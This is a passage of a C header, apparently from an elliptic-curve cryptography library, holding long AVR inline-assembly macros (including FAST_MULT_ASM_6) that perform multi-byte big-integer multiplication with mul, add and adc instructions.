\n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r17, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r18, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r19, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r20, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r21, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "mul r11, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "st z+, r23 \n\t" \ + "st z+, r24 \n\t" \ + "eor r1, r1 \n\t" + +#define FAST_MULT_ASM_6 \ + "adiw r30, 20 \n\t" \ + "adiw r28, 20 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r15, y+ \n\t" \ + "ldi r25, 0 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "st z+, r24 \n\t" \ + "st z+, r22 \n\t" \ + \ + "sbiw r30, 18 \n\t" \ + "sbiw r28, 14 \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r17, y+ \n\t" \ + "ld r18, y+ \n\t" \ + "ld r19, y+ \n\t" \ + "ld r20, y+ \n\t" \ + "ld r21, y+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r11, x+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" 